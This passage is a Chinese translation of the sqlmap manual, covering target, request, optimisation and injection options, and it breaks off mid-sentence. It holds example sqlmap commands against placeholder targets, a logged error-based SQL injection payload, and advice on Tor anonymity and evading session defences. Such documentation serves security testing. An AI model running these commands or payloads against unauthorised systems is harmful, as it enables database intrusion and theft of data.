輸出詳細等級
選項:-v
該選項用於設置輸出信息的詳細等級,共有七個級別。默認級別為 1,輸出包括普通信息,警告,錯誤,關鍵信息和 Python 出錯回遡信息(如果有的話)。
- 0:只輸出 Python 出錯回溯信息,錯誤和關鍵信息。
- 1:增加輸出普通信息和警告信息。
- 2:增加輸出調試信息。
- 3:增加輸出已注入的 payloads。
- 4:增加輸出 HTTP 請求。
- 5:增加輸出 HTTP 響應頭
- 6:增加輸出 HTTP 響應內容。
使用等級 2 能更好地了解 sqlmap 內部實現了什么,特別是在檢測階段和使用接管功能時。如果你想知道 sqlmap 發送了什么 SQL payloads,等級 3 是最佳選擇。在你為開發者系統提供潛在的 Bug 報告時,推薦使用這個等級,同時附加上使用選項 -t
生成的流量日志文件標准輸出文件。
需要更深入地檢測潛在 Bugs 或應對未知情況時,推薦使用 4 或以上等級。應當注意,還可以使用該選項的短名稱來設置詳細等級,其中提供的開關(而不是選項)用字母 v
的個數來確定詳細等級(例如:用 -v
代替 -v 2
,用 -vv
代替 -v 3
,用 -vvv
代替 -v 4
,依此類推)。
目標
至少提供以下其中一個選項,用於指定目標。
直連數據庫
選項:-d
針對單一數據庫實例運行 sqlmap 工具。這個選項可設置為下面格式的連接字符串:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等。)DBMS://DATABASE_FILEPATH
(SQLite,Microsoft Access,Firebird 等。)
例如:
$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\
er --dbs --users
目標 URL
選項:-u
或 --url
針對單一目標 URL 運行 sqlmap。這個選項可設置為下面格式的 URL:
http(s)://targeturl[:port]/[...]
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
從 Burp 或 WebScarab 代理日志解析目標
選項:-l
除了可以提供單個目標 URL,還可以測試並注入 Burp 代理或者 WebScarab 代理代理的 HTTP 請求。使用這個參數時,需要提供代理 HTTP 請求的日志文件。
從給定的文本文件讀取多個目標進行掃描
選項:-m
通過文本文件提供一個目標 URLs 列表,sqlmap 會逐個進行掃描檢測。
樣本文件所提供的 URLs 列表示例:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
從文件中載入 HTTP 請求
選項:-r
sqlmap 可以從一個文本中讀取原始的 HTTP 請求。通過這種方式,你能夠免於設置部分選項(例如:設置 cookies,POST 數據等參數)。
HTTP 請求文件數據樣本如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
如果相關的請求是 HTTPS,你可以結合 --force-ssl
開關強制使用 SSL 進行 443/tcp 連接。或者,你可以在 Host
頭部信息后面直接加上 :443
。
使用 Google dork 結果作為目標地址
選項:-g
sqlmap 同時支持根據 Google dork 返回結果測試並注入 GET 參數。
這個選項使得 sqlmap 能夠和搜索引擎當前會話 cookies 進行內容交互,進行相關的搜索操作。然后 sqlmap 會獲取 Google dork 表達式篩選出的前 100 個返回結果及附帶的 GET 參數,並且詢問你是否對每個可能存在注入的 URL 進行測試注入。
例如:
$ python sqlmap.py -g "inurl:\".php?id=1\""
從 INI 配置文件中讀取選項
選項:-c
sqlmap 支持從 INI 配置文件中讀取用戶的選項配置,例如:sqlmap.conf
。
需要注意的是,如果你在命令行調用時,同時提供了相關的選項設置,則配置文件中的選項會被覆蓋失效。
請求
以下選項用於指定如何連接目標 URL。
HTTP 方法
選項:--method
sqlmap 能自動檢測 HTTP 請求中使用的 HTTP 方法。然而在某些情況下,可能需要強制指定使用 sqlmap 自動化不會使用的 HTTP 方法(例如:PUT
)。因而該選項是可能被用到的(例如:--method=PUT
)。
HTTP 數據
選項:--data
HTTP 請求默認使用的方法是 GET,你可以通過在請求中提供對應發送的數據隱式地將 GET 改成 POST。對應參數也會像 GET 參數一樣,用於測試是否存在 SQL 注入的可能。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users
參數分隔符
選項:--param-del
有些情況下,需要覆蓋默認參數分隔符(例如:在 GET 和 POST 數據中的 &
),以便 sqlmap 能夠正確切割並處理每個參數。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users
HTTP Cookie
請求頭
選項和開關:--cookie
,--cookie-del
,--load-cookies
和 --drop-set-cookie
這些選項和開關可用於以下兩種情況:
- Web 應用程序需要基於 cookies 的身份驗證,並且你知道對應的參數。
- 你想對相關的 HTTP 頭部進行檢測和 SQL 注入。
不管是哪種情況,你需要使用 sqlmap 發送帶有 cookies 的請求,步驟如下:
- 使用你最喜歡的瀏覽器登錄該應用。
- 從瀏覽器的選項或 HTTP 代理中復制 Cookie。
- 回到 shell 並使用復制的 cookies 作為選項
--cookie
的值運行 sqlmap。
注意,HTTP Cookie
值通常由字符 ;
分隔,而不是使用 &
。sqlmap 也可以將它們識別為 parameter=value
即參數值對,對應的 GET 和 POST 參數也一樣。如果分隔字符不是 ;
,則可以使用選項 --cookie-del
來指定。
在通信期間的任何時刻,如果 Web 應用程序的響應包含 Set-Cookie
響應頭,sqlmap 將在所有其他 HTTP 請求中自動使用它的值作為 Cookie
的值。sqlmap 也將自動測試這些值是否存在 SQL 注入漏洞。這個特性可以通過提供開關 --drop-set-cookie
來關閉——sqlmap 則會忽略任何 Set-Cookie
響應頭。
反之亦然,如果你提供一個帶有選項 --cookie
的 HTTP Cookie
請求頭,並且目標 URL 在任何時候都發送一個 HTTP Set-Cookie
響應頭,sqlmap 會詢問你使用哪一組 cookies 來用於接下來的 HTTP 請求。
還有一個選項 --load-cookies
,可以從包含 Netscape/wget 格式 cookies 的特殊文件中讀取 cookies。
注意,如果 --level
設置為 2 或更高,則 sqlmap 會對 HTTP Cookie
請求頭進行 SQL 注入測試。詳情請看下文。
HTTP User-Agent
請求頭
選項和開關:--user-agent
和 --random-agent
默認情況下,sqlmap 使用以下 User-Agent
請求頭值執行 HTTP 請求:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
不過,可以通過提供自定義 User-Agent 作為選項的參數,即選項 --user-agent
來偽造它。
此外,如果通過提供開關 --random-agent
,sqlmap 將從 ./txt/user-agents.txt
文本文件中隨機選擇一個 User-Agent
,並將其用於該會話中的所有 HTTP 請求。
一些站點會對 HTTP User-Agent
請求頭值進行服務端檢查,如果沒有提供有效的 User-Agent
,它的值不是常規值或被 Web 應用程序防火牆或類似防御系統列入黑名單,則服務端會拒絕 HTTP 響應。在這種情況下,sqlmap 將顯示如下信息:
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
譯:
[hh:mm:20] [錯誤] 目標網址回復了未知的 HTTP 狀態碼,請嘗試使用選項 --user-agent 或
--random-agent 強制指定 HTTP User-Agent 請求頭
注意,如果 --level
設置為 3 或以上,sqlmap 會對 HTTP User-Agent
請求頭進行 SQL 注入測試。詳情請看下文。
HTTP Host
請求頭
選項:--host
你可以手動設置 HTTP Host
請求頭值。默認情況下,HTTP Host
請求頭從提供的目標 URL 中解析。
注意,如果 --level
設置為 5 或以上,sqlmap 會對 HTTP User-Agent
請求頭進行 SQL 注入測試。詳情請看下文。
HTTP Referer
請求頭
選項:--referer
支持偽造 HTTP Referer
請求頭值。如果沒有進行顯式設置,默認情況下不會在 HTTP 請求中發送 HTTP Referer
請求頭。
注意,如果 --level
設置為 3 或更高,sqlmap 會對 HTTP Referer
請求頭進行 SQL 注入測試。詳情請看下文。
額外的 HTTP 請求頭
選項:--headers
可以通過設置選項 --headers
來提供額外的 HTTP 請求頭。每個請求頭必須用換行符分隔,更好的方式是從 INI 配置文件讀取。你可以看看范本 sqlmap.conf
文件中的例子。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]
HTTP 協議認證
選項:--auth-type
和 --auth-cred
這些選項用於指定后端 Web 服務器實現的 HTTP 協議認證和所有向目標程序發起 HTTP 請求的有效憑據。
支持的三種 HTTP 協議認證機制是:
Basic
Digest
NTLM
認證憑據的語法是 username:password
。
一個符合語法的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"
HTTP 協議私鑰認證
選項:--auth-file
當 Web 服務器需要正確的客戶端證書和私鑰進行身份驗證時,應使用此選項。提供的值應為包含證書和私鑰的 PEM 格式文件 key_file
。
生成適用於 --auth-file
選項的 key_file.txt
文件示例:
$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out auth_file.pem &&\
cat auth_file.key auth_file.pem > auth_file.txt && cat auth_file.txt
Generating a 2048 bit RSA private key
.........+++
...........+++
writing new private key to 'auth_file.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf
VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG
mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9
9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W
XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL
4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY
mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/
anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya
elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8
Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H
AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn
Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb
1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS
wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs
qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP
8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA
TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0
5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t
UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ
k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA
oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B
KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz
Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc
7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP
WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4
fJkrlA16caVj3qGaX1lkm06OAA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz
FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh
iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj
oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n
oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ
WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF
kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj
c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6
x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE
qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7
m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ
qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/
VA==
-----END CERTIFICATE-----
忽略(有問題的)HTTP 錯誤碼
選項 --ignore-code
如果你測試的目標站點會偶爾返回 HTTP 錯誤碼,這將影響 sqlmap 的正常運行(例如:401(未授權)),如果你想忽略它並繼續測試,可以使用 --ignore-code
選項
HTTP(S) 代理
選項和開關:--proxy
,--proxy-cred
,--proxy-file
和 --ignore-proxy
可以使用選項 --proxy
並提供 HTTP(S) 代理地址使 HTTP(S) 請求經過該代理到達目標 URL。設置 HTTP(S) 代理的語法是 http://url:port
。
如果 HTTP(S) 代理需要身份驗證,則可以對選項 --proxy-cred
使用 username:password
格式添加對應的憑證。
如果要使用(不穩定的)代理列表,在可能出現連接問題(例如:阻止侵入性 IP 地址)出現時跳過並使用下一個代理,可以使用選項 --proxy-file
並指定包含批量代理的文件。
當你想要使用 sqlmap 對本地局域網目標進行測試時應該使用開關 --ignore-proxy
來繞過系統級的 HTTP(S) 代理服務。
Tor 匿名網絡
開關和選項:--tor
,--tor-port
,--tor-type
和 --check-tor
假如因為相關原因需要保持匿名,可以根據 Tor 安裝指南配置一個 Tor 客戶端和 Privoxy(或類似的)進行代理,而不是使用單個預定義的 HTTP(S) 代理服務器。接着就可以使用開關 --tor
來讓 sqlmap 嘗試自動設置 Tor 代理連接。
如果你想手動設置 Tor 代理的類型和端口,可以使用選項 --tor-type
和 --tor-port
(例如:--tor-type=SOCKS5 --tor-port 9050
)。
強烈建議偶爾使用 --check-tor
來確保一切設置正確。有些情況下 Tor 包(例如:Vidalia(譯者注:Vidalia 是 Tor 的圖形界面管理工具,官方已經移除對它的支持))配置錯誤(或重置了以前的配置)會使你以為已經成功匿名。使用這個開關,sqlmap 將在對任何目標發起請求之前發送一個請求到你正在使用 Tor?這個官方頁面檢查一切配置是否正常。如果檢查失敗,sqlmap 將警告你並直接退出。
每個 HTTP 請求之間的延遲
選項:--delay
可以指定每個 HTTP(S) 請求之間等待的秒數。有效值是一個浮點數,例如 0.5
表示半秒。默認情況下,沒有設置延遲。
超時連接等待秒數
選項:--timeout
可以指定 HTTP(S) 請求超時的等待秒數。有效值是一個浮點數,例如 10.5 表示十秒半。默認設置是 30 秒。
HTTP 連接超時最大重試次數
選項:--retries
可以指定 HTTP(S) 連接超時的最大重試次數。默認情況下,它最多重試三次。
隨機更改給定參數的值
選項:--randomize
可以指定在每個請求期間需要隨機更改其值的參數名稱。長度和類型由提供的原始值決定。
使用正則表達式從指定的代理日志中提取目標
選項:--scope
你可以指定有效的 Python 正則表達式用於提取出所需的目標,而不是使用由選項 -l
從日志中解析出的所有主機目標。
有效語法示例:
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
避免因太多失敗請求引發會話銷毀
選項:--safe-url
,--safe-post
,--safe-req
和 --safe-freq
有時,在執行了一定數量的失敗請求后會被 Web 應用或檢測技術銷毀相關會話。這可能發生在 sqlmap 的檢測階段,或者在它利用任何 SQL 盲注時。原因是 SQL payloads 不一定會返回輸出,因此這可能會向應用會話管理或檢測技術暴露出特征。
要繞過目標站點設置的這種限制,你可以提供任何(或組合)以下選項:
--safe-url
:測試期間可以安全頻繁訪問的 URL 地址。--safe-post
:使用 HTTP POST 發送數據到一個安全的 URL 地址。--safe-req
:從文件中加載並使用安全的 HTTP 請求。--safe-freq
:交替執行指定的安全地址訪問和目標測試請求。
這樣,sqlmap 將訪問每個定義好數量請求的某個_安全_ URL,而不對其執行任何類型的注入。
關閉對參數值的 URL 編碼
開關:--skip-urlencode
根據參數的位置(例如:GET),其值可能會被默認進行 URL 編碼。在某些情況下,后端 Web 服務器不遵循 RFC 標准,並要求以原始非編碼形式發送參數值。在這種情況下可以使用 --skip-urlencode
。
繞過反 CSRF 防護
選項:--csrf-token
和 --csrf-url
許多站點有使用 token 的反 CSRF 防護,在每個頁面的響應隨機設置隱藏字段值。sqlmap 將自動嘗試識別並繞過這種防護,同時支持 --csrf-token
和 --csrf-url
等選項用來做進一步調整。選項 --csrf-token
用於設置包含隨機 token 的隱藏字段的名稱。這在網站對這些字段使用非標准名稱的情況下是非常有用的。選項 --csrf-url
用於從任意有效的 URL 地址獲取 token 值。這在目標網址在初始地不包含必需的 token 值,而需要從其他地方提取時是非常有用的。
強制使用 SSL/HTTPS
開關:--force-ssl
如果想要對目標強制使用 SSL/HTTPS 請求,可以使用此開關。在使用選項 --crawl
收集 URLs 或者使用選項 -l
提供 Burp 日志時,該開關是很有用的。
在每個請求期間運行自定義的 Python 代碼
選項:--eval
在可能因為一些已知的依賴而想要更改(或添加新的)參數值的情況下,可以使用選項 --eval
為 sqlmap 提供自定義的 python 代碼,代碼將在每個請求之前運行。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
每個像這樣的請求會使用當前 GET 請求中的 id
參數值重新計算出對應的 MD5 哈希值,從而替換掉原來的 hash
參數值。
優化
下面的開關可以用於優化 sqlmap 的性能表現。
批量優化
開關:-o
設置這個開關表示隱含開啟下面對應的選項和開關:
--keep-alive
--null-connection
--threads=3
默認值,可以設置更大值。
查看下面內容獲取更多關於開關設置的詳情。
輸出預測
開關:--predict-output
這個開關用於推導算法,可對獲取的數據特性進行線性數據分析預測。根據 txt/common-outputs.txt
里面的條目及集合論相關知識預測並給出可能性最高的字符數理統計表。如果目標字符值可以在最常見的輸出結果中找到,那么接下來的字符數理統計表范圍會逐漸縮小。配合從 DBMS(Database Management System,數據庫管理系統)中獲取的實例、表名和對應的權限,那么加速效果會顯著提高。當然,你可以根據自身需求對常見的輸出文件進行編輯,例如,你發現了數據庫表名的常見模式或者其他模式。
值得注意的是,這個開關不能夠和 --threads
一起使用。
HTTP Keep-Alive
開關:--keep-alive
這個開關參數設置 sqlmap 使用 HTTP(s) 持久化連接。
值得注意的是,這個開關不能夠和 --proxy
一起使用。
HTTP NULL 連接
開關:--null-connection
在 HTTP 請求中,存在可以獲取 HTTP 響應大小而無須獲取整個 HTTP 實體的特殊類型。這個技術可用於 SQL 盲注中,以區分響應結果是 True
還是 False
。如果開啟了這個開關,sqlmap 會測試並利用兩種不同的 _NULL 連接_技術:Range
和 HEAD
。如果目標服務器能夠滿足其中之一的請求方式,那將能夠減小使用的帶寬,加速整個測試過程。
這些技術的相關詳情可見白皮書提升 SQL 盲注的性能——Take 2(帶寬)。
值得注意的是,這個開關不能和 --text-only
一起使用。
並發 HTTP(S) 請求
選項:--threads
sqlmap 中支持設定 HTTP(S) 請求最大並發數。
這個特性依賴於多線程,因而繼承了多線程的優點和缺陷。
當數據是通過 SQL 盲注技術,或者使用暴力破解相關開關獲取時,可以運用這個特性。對於 SQL 盲注技術,sqlmap 首先在單線程中計算出查詢目標的長度,然后啟用多線程特性,為每一個線程分配查詢的一個字符。當該字符被成功獲取后,線程會結束並退出——結合 sqlmap 中實現的折半算法,每個線程最多發起 7 次 HTTP(S) 請求。
考慮運行性能和目標站點的可靠性因素,sqlmap 最大的並發請求數只能設置到 10。
值得注意的是,這個選項不能跟 --predict-output
一起使用。
注入
以下選項用於指定需要測試的參數、提供自定義注入 payloads 和可選篡改腳本。
可測試參數
選項:-p
,--skip
和 --param-exclude
默認情況下 sqlmap 會測試所有 GET 參數和 POST 參數。當 --level
的值 >= 2,它還會測試 HTTP Cookie
頭部值。當這個值 >= 3 時,它還會測試 HTTP User-Agent
和 HTTP Referer
頭部值。而且還可以手動指定一個需要 sqlmap 進行測試的、使用逗號分隔的參數列表。這會使 sqlmap 忽略 --level
的設置。
例如,只需要測試 GET 參數 id
和 HTTP User-Agent
時,則提供 -p "id,user-agent"
。
如果用戶想要排除測試某些參數,可以使用選項 --skip
。如果需要使用高級別 --level
值,並指定部分可用參數(排除通常被測試的 HTTP 頭)時,這個選項非常有用。
例如,要在 --level=5
跳過測試 HTTP User-Agent
和 HTTP Referer
,可以提供 --skip="user-agent,referer"
。
還可以基於正則表達式針對參數名稱來排除對某些參數的測試。在這種情況下,用戶可以使用選項 --param-exclude
。
例如,要跳過對名稱中包含 token
或 session
的參數測試,可以提供 --param-exclude="token|session"
。
URI 注入點
有一些特殊情況是注入點處於 URI 本身內。除非手動指定,sqlmap 不會對 URI 路徑執行任何自動測試。你需要在命令行中標明這些注入點,通過在每個需要 sqlmap 測試和利用 SQL 注入的 URI 點后面附加一個星號(*
)(注意:也支持 Havij 風格 %INJECT HERE%
)。
例如,當使用了 Apache Web 服務器的 mod_rewrite 模塊或其他類似的技術時,這特別有用。
一個有效的命令行例子如下:
$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
任意注入點
與 URI 注入點類似,星號(*
)(注意:同時支持 Havij 風格 %INJECT HERE%
)也可以用於指向 GET,POST 或 HTTP 頭部中的任意注入點。可以在選項 -u
中標注 GET 的參數值,在選項 --data
中標注 POST 的參數值,在選項 -H
中標注 HTTP 頭部值如 --headers
,--user-agent
,--referer
和 --cookie
,或者標注從文件加載的 HTTP 請求中的通用位置,用於指定相應的注入點。
一個有效的命令行例子如下:
$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"
指定 DBMS(Database Management System,數據庫管理系統)類型
選項:--dbms
默認情況下 sqlmap 會自動檢測 Web 應用程序的后端 DBMS。sqlmap 完全支持以下 DBMS:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
- Informix
- MariaDB
- Percona
- MemSQL
- TiDB
- CockroachDB
- HSQLDB
- H2
- MonetDB
- Apache Derby
- Vertica
- Mckoi
- Presto
- Altibase
如果由於某些原因 sqlmap 已經識別出 SQL 注入卻無法檢測到后端 DBMS 類型,或者你想避免執行指紋信息收集,可以自己提供后端 DBMS 的名稱(例如:postgresql
)。對於 MySQL 和 Microsoft SQL Server 分別以 MySQL <version>
和 Microsoft SQL Server <version>
的形式提供,其中 <version>
是指 DBMS 的有效版本;例如 MySQL 為 5.0
,Microsoft SQL Server 為 2005
。
如果你同時使用 --dbms
和 --fingerprint
,sqlmap 將只對指定的 DBMS 執行詳細的指紋收集,更詳細的信息請閱讀下文。
注意,此選項不是強制性的,強烈建議僅當你絕對確定后端 DBMS 時使用它。如果你不知道,就讓 sqlmap 自動為你識別指紋信息。
指定 DBMS 操作系統名稱
選項:--os
默認情況下,當此信息是任何開關或選項的依賴時,sqlmap 會自動檢測 Web 應用程序后端 DBMS 的底層操作系統信息。 目前完全支持的操作系統有:
- Linux
- Windows
你可以強制指定已知的操作系統類型,這樣 sqlmap 將避免對該信息進行檢測。
注意,此選項不是強制性的,強烈建議僅當你絕對確定后端 DBMS 底層操作系統時使用它。如果你不知道,就讓 sqlmap 自動為你識別。
強制使用大數來使參數值無效
開關:--invalid-bignum
在 sqlmap 需要使原參數值無效(例如:id=13
)的情況下,它會使用負數(例如:id=-13
)。使用此開關可以強制使用大整數值來達到一樣的效果(例如:id=99999999
)。
強制使用邏輯運算使參數值無效
開關:--invalid-logical
在 sqlmap 需要使原參數值無效(例如:id=13
)的情況下,它會使用負數(例如:id=-13
)。使用此開關可以強制使用布爾運算來達到一樣的效果(例如:id=13 AND 18=19
)。
強制使用隨機字符串使參數值無效
開關:--invalid-string
在 sqlmap 需要使原始參數值無效(例如:id=13
)的情況下,它會使用負數(例如:id=-13
)。使用此開關可以強制使用隨機字符串來達到一樣的效果(例如:id=akewmc
)。
關閉 payload 構造機制
開關:--no-cast
返回生成結果時,sqlmap 會將所有條目都轉換為字符串類型,並使用空格字符替換 NULL
值。這樣做是為了避免任何錯誤的狀態(例如:使用字符串連接 NULL
值)並簡化數據檢索過程本身。然而,根據報告有些情形(例如:MySQL DBMS 的舊版本)由於數據檢索本身存在問題(例如:返回了 None
值),需要關閉此機制(使用此開關)。
關閉字符串轉義機制
開關:--no-escape
在 sqlmap 需要使用(單引號分隔的)payloads 里的字符串(例如:SELECT 'foobar'
